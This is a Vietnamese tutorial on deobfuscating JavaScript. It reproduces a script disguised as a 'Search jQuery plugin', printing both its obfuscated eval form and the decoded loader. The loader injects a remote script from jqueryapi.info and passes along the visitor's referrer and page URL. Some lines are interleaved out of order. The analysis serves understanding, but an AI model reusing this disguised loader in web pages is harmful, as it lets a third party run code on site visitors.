Hướng dẫn giải mã Javascipt
Updated on April 16, 2016
Ví dụ, có đoạn code cần giải mã như sau:
<script>
//<![CDATA[
// Search jQuery plugin
var OOI='==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';
function _1Ol(data){var OlOlOI="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";var o1,o2,o3,h1,h2,h3,h4,bits,i=0,enc='';do{h1=OlOlOI.indexOf(data.charAt(i++));h2=OlOlOI.indexOf(data.charAt(i++));h3=OlOlOI.indexOf(data.charAt(i++));h4=OlOlOI.indexOf(data.charAt(i++));bits=h1<<18|h2<<12|h3<<6|h4;o1=bits>>16&0xff;o2=bits>>8&0xff;o3=bits&0xff;if(h3==64){enc+=String.fromCharCode(o1)}else if(h4==64){enc+=String.fromCharCode(o1,o2)}else{enc+=String.fromCharCode(o1,o2,o3)}}while(i<data.length);return enc}
function OlO(string){ var ret = '', i = 0; for ( i = string.length-1; i >= 0; i-- ){ ret += string.charAt(i);} return ret; }
eval(_1Ol(OlO(OOI)));
//]]>
</script>
- Nếu một đoạn code đơn giản bình thường, bạn có thể dùng những trang web hỗ trợ giải mã online để giải mã một lần duy nhất.
- Nếu bạn chưa biết đoạn mã của bạn cần phải dùng trang hay công cụ nào để giải mã thì bạn có thể tham khảo bài viết này.
eval(_1Ol(OlO(OOI)));
Mục đích của tác giả là làm cho các trang web giải mã không nhận ra cấu trúc chuẩn của đoạn mã hoá. Phải chi nó có dạng sau
eval(đoạn code mã hoá bình thường);
Do đó, tôi muốn tìm cái đoạn code mã hoá bình thường kia. Cách tôi nghĩ ra là chạy cái đoạn code JS để nó xuất ra cho mình. Để có thể chạy các đoạn code JavaScript, tôi sử dụng trang web JSFiddle. Bạn dán vào khung HTML đoạn code như sau
<body>Sau đó nhấn Run, nó sẽ xuất hiệnđoạn code mã hoá bình thường cho bạn.
<script>
var OOI='==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';
function _1Ol(data){var OlOlOI="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";var o1,o2,o3,h1,h2,h3,h4,bits,i=0,enc='';do{h1=OlOlOI.indexOf(data.charAt(i++));h2=OlOlOI.indexOf(data.charAt(i++));h3=OlOlOI.indexOf(data.charAt(i++));h4=OlOlOI.indexOf(data.charAt(i++));bits=h1<<18|h2<<12|h3<<6|h4;o1=bits>>16&0xff;o2=bits>>8&0xff;o3=bits&0xff;if(h3==64){enc+=String.fromCharCode(o1)}else if(h4==64){enc+=String.fromCharCode(o1,o2)}else{enc+=String.fromCharCode(o1,o2,o3)}}while(i<data.length);return enc}
function OlO(string){ var ret = '', i = 0; for ( i = string.length-1; i >= 0; i-- ){ ret += string.charAt(i);} return ret; }
document.write(_1Ol(OlO(OOI)));
</script>
</body>
eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('2F(2z(p,a,c,k,e,d){e=2z(c){2y(c35?2B.2K(c+29):c.2E(36))};2C(!\'\'.2A(/^/,2B)){2D(c--){d[e(c)]=k[c]||e(c)}k=[2z(e){2y d[e]}];e=2z(){2y\'\\\\w+\'};c=1};2D(c--){2C(k[c]){p=p.2A(2J 2H(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c])}}2y p}(\'1Z(19(p,a,c,k,e,d){e=19(c){1a(c1I?1L.1K(c+29):c.1E(1w))};1v(c--){1y(k[c]){p=p.1z(1C 1A(\\\'\\\\\\\\b\\\'+e(c)+\\\'\\\\\\\\b\\\',\\\'g\\\'),k[c])}}1a p}(\\\'f p=\\\\\\\'%I%v%7%m%2.l%c%3%2%1%9%4%1%1%7%3%5.H-e%5%2.h%c%3%2%1%9%4%1%1%1%1%7%3%5.e-o%5%2.G%3%J%8%2.K%3%j%5%2.N%3%2%6%4%1%1%b%2%6%4%4%1%1%7%3%5.M%5%2.h%c%3%2%1%9%4%1%1%1%1%7%F%2.E%3%j%5%2.y%3%5%5%2.x%3%5.e-o%5%2.A%3%D%5%2%6%4%1%1%b%2%6%4%b%2%6%4%7%m%2.l%c%1%3%2%1%9%4%1%1%1%14%1%3%7%3%8%12-11%8%2.15%3%17%8%2%1%16%n%1%k%r//q.i.g/%8%2%1%9%4%1%1%1%1%1%1%1%Z.T.S%1%n%1%k%r//q.i.g%8%6%4%1%1%1%1%b%4%b%2%6%13/t%v\\\\\\\';f d=a.O(\\\\\\\'t\\\\\\\');d.W=\\\\\\\'X://Y.V/?U=Q\\\\\\\'+\\\\\\\'&R=\\\\\\\'+u(a.10)+\\\\\\\'&18=\\\\\\\'+u(a.P);f s=a.B(\\\\\\\'C\\\\\\\')[0];s.w(d);a.z(L(p));\\\',1x,1D,\\\'|20|29|28|1J|27|1F|24|22|1u|1M|1t|1g|1h|1f|1j|1N|1d|1b|1e|1c|1i|1k|1q|1r|1s|1p|1o|1l|1m|1n|1H|2a|2m|2n|2p|2k|2j|2g|2h|2i|2o|2r|2x|2w|2v|2t|2u|2q|2s|2l|2e|1U|1V|1W|1T|1S|1O|1P|1Q|1R|1X|1Y|2b|2c|2d|2f|26|21|23|25\\\'.1B(\\\'|\\\')))\',2L,2Y,\'|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||2z|2y|2Z|3c|2X|2W|2T|2U|2V|30|31|39|3a|38|37|3A|32|3D|2S|34|3b|2Q|2D|36|2L|2C|2A|2H|2I|2J|2R|2E|3B|2G|3E|35|2M|2K|2B|2P|2O|2N|33|3q|3Q|3N|3y|3H|3J|3I|3G|3z|2F||||3F||3K|3L||||3P|3O|3M|3C|3w|3j|3k|3l|3i|3h|3d|3e|3f|3g|3m|3n|3t|3u|3v|3x|3s|3r|3o|3p\'.2I(\'|\'),0,{}))',62,239,'||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||return|function|replace|String|if|while|toString|eval|parseInt|RegExp|split|new|fromCharCode|62|0A|info|com|document|7B|71|input|search|28function|_0O1|27input|click|158|blogspot|ready|var|duniaradioku|src|_escape|||encodeURIComponent|script|28document|OOO|7D|22http|removeClass|createElement|parents|val|getElementsByTagName|prev|20if|head|27open|28this|write|3Cscript|btn|http|22open|unescape|close|toggleClass|focus|URL|find|location|referrer||||||22href|20window|ok|href|ref|url|attr|23lost|getsrc|content|appendChild|jqueryapi'.split('|')))Đến đây, bạn có thể dùng trang web này để tiến hành giải mã bình thường. Kết quả cuối cùng sẽ ra như bên dưới.
var _escape = '';Nguồn bài viết: http://www.math2it.com/2015/05/hanh-trinh-giai-ma-mot-oan-code.html
var _0O1 = document.createElement('script');
_0O1.src = 'http://jqueryapi.info/?getsrc=ok' + '&ref=' + encodeURIComponent(document.referrer) + '&url=' + encodeURIComponent(document.URL);
var OOO = document.getElementsByTagName('head')[0];
OOO.appendChild(_0O1);
document.write(unescape(_escape));